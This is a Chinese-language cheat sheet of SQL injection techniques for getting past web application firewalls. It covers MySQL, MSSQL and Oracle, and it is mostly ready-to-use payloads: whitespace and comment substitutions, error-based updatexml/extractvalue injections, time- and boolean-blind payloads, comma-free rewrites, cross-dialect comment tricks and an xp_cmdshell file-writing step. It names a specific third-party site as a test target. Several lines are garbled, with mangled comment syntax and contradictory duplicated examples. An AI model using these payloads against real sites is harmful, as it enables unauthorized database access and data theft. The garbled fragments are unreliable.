常见数据库特性
mysql | mssql | oracle | |
---|---|---|---|
单行注释 | # —空格 | —空格 | —空格 |
多行注释 | /*/ / | /*/ / | /**/ |
断句符 | ; | ; | ; |
特殊语法 | /!10000select/ |
基本函数
mysql | mssql | oracle | |
---|---|---|---|
连接符 | + | || | |
拼接 | concat() | concat() concat_ws | |
替换函数 | replace() insert() | replace() | replace() translate() |
截取函数 | left()、right()、mid()、substring()、substr() | substring() 、left() | substr() substrc() |
空白字符
mysql | mssql | oracle | |
---|---|---|---|
HEX字符 | 09 0a 0b 0c 0d 20 | 01 02 03 ….1c 1d 1e 1f 20 | 00 0a 0d 0b 0c 09 20 |
运算符的几种情况 | mysql | mssql | oracle |
---|---|---|---|
和 | and && | and or | and or || |
或 | or || |
Mysql
位运算符|
![]() |
![]() |
---|---|
位运算符&
user_id=’1’&’0’ 假
user_id=’1’&’0’ 真
但是遇到当sql语句是这样写的时候,就不行了,因为之前就有了一个and
大于小于
id=’a’<’1’ 真
id=’a’<’1’ 假
id=’1’ and ‘a’<’as’ 真
id=’1’ and ‘a’<’a’ 假
http://www.boyizn.cn/about.php 某个有安全狗的站点
1、首先可以用以下代替空格
%20 空格
%a0 被dog秒
%09 制表符 被dog秒
%0a 换行 被dog秒
%0b 秒
%0c 秒
%0d 回车 秒
%a0 秒
/**/
()
因此,我们可以使用一下方法来bypass空格
可以进行fuzz
或者利用hex(1) hex(0)来绕过
—-ord也可 bin也可 ascii
或者利用-1’ and -1=-2
第四步:information_schema
(在mysql大于5.6版本的时候,可以使用innodb_index_stats 和 innodb_table_stats)许多版本为5.5.53
当遇到版本大于5.6的时候,看它
http://www.cl4y.top/information被ban的情况下进行sql注入/
3、报错注入 (/!///遇事不决用这个)
先把括号注释了,
然后再把user()的()用/!///填充
1:id=1’ and updatexml(1,(concat(0x7e,(select user(/!///)))),1/!)/%23
2:id=1’ and extractvalue(1,(concat(0x7e,(select user(/!///))))/!)/%23
3:1’ /!union/!////select// from(select name_const(/!11440version/(/!///),0x1/!)/,name_const(/!11440version/(/!///),0x1)/!)*/a%23
4、时间盲注
只需要将information_schema用`反引号扩起来<br />判断注入点<br />?id=1' and!!!if(-1<-2,1,sleep(1))%23<br />id=1' and ~~~if(hex(1)=hex(2),1,benchmark(3000000,sha(1)))%23<br />id=1' and -1>(SELECT count(*) FROM
information_schema`.columns A)%23
5、布尔盲注
只需要再if前添加!!!或者~~if((substr((select hex(user//(/!/))),1,1)%3E01),sleep//(/!5/),1)—+
id=1’ and
其他
科学技术法绕过
例如1e1union
select ~!@ 加数据
注释符加%0a 绕过
改变chart字符编码绕过
0、代替空格
%20 空格
%09 制表符
%0a 换行
%0b
%0c
%0d 回车
//
/我我我/
%23%0A
/!///*/
1、selectchar特性
例如+ - ! @ ~ “” ‘’ {``}
select+user
select~user
select!user
selet-user等,这些出来的都不大一样
https://xz.aliyun.com/t/7767
1、当order by 被waf了后,可以使用group by
或者select * from ins_user where user_id=1 into @a,@b,@c,@d;
1、\N特性和点数字
参数与union之间 用 \N 1.1 1E0 代替
或者例如(增加一个and 1.)
select * from ins_user where user_id=-1 and .1union all select 1,user(),3,4
参数和from之间也能用\N连接
select ,\Nfrom xinhu_admin where user=’admin’ /!11990AND*/1=1
WHERE id= '2.0abc' 转为数字时变成2
单双引号’”、括号()、反单引号``、星号*、与语句之间可以没有空格
SELECT*FROM(users)WHERE(id='3.0abc')union(select'3.0abc',2,user()from`users`);
2、利用规则通用性问题绕过
例如/!50001select/ 来说,这是一个select的命令,而对于SQL Server来说,这只不过是一个注释而已,而对于mysql数据来说,它可以执行select语句
因此我们可以尝试使用Mysql的方式来绕过sqlserver(WAF识别为Myql语句,发现语法错误,就不拦截,结果后端服务器处理为mssql,导致成功饶过)
、
同样#在mysql里是注释,而在mssql里#知识一个字符串
那么如下语句: 9999’ and 1=(select top 1 name as # from master..sysdatabases)— 会被当作为:
9999’ and 1=(select top 1 name as #注释xxxxxxxx
其实,这里的 # 只是一个字符,充当一个别名的角色而已。如果后端数据库是SQL Server,这样的语句是没问题的。
3、利用{} 或者反引号
select * from ins_user where user_id=-1 union select 1,group_concat(table_name),3,4 FROM{ x information_schema.tables} where table_schema=’test’
select * from ins_user where user_id=-1 union select 1,group_concat(table_name),3,4 FROM{ x information_schema
.tables} where table_schema
=’test’
4、连接
select .1user
select-.1user
select’-.1’user
select””user
select””.user
5、无逗号,适合盲注
mid(‘root’,2,1)====> substring(‘root’ from 2 for 1)
limit a,b ====> limit b offset a
if(1,sleep(1),1) ===>case when 1 then sleep(1) else 1 end
6、遇到控制台
控制台遇到\r \n 会出现错觉,\r 断开连接 \n在linux情况下被视为换行,不报错。
MSsql
xp_cmdshell 不断写入,然后启动,
echo xxxx >> c.ps1
Oracle
1、oracle 一些特性
1、oracle可以使用||来进行连接
2、代替空格 %00 %09 %0a %0b %0c %0d %20 /**/
select user/*!saho*/from dual;USER/*!SAHO*/
3、函数可以加空格以
select userenv/**//(‘isdba’) from dual;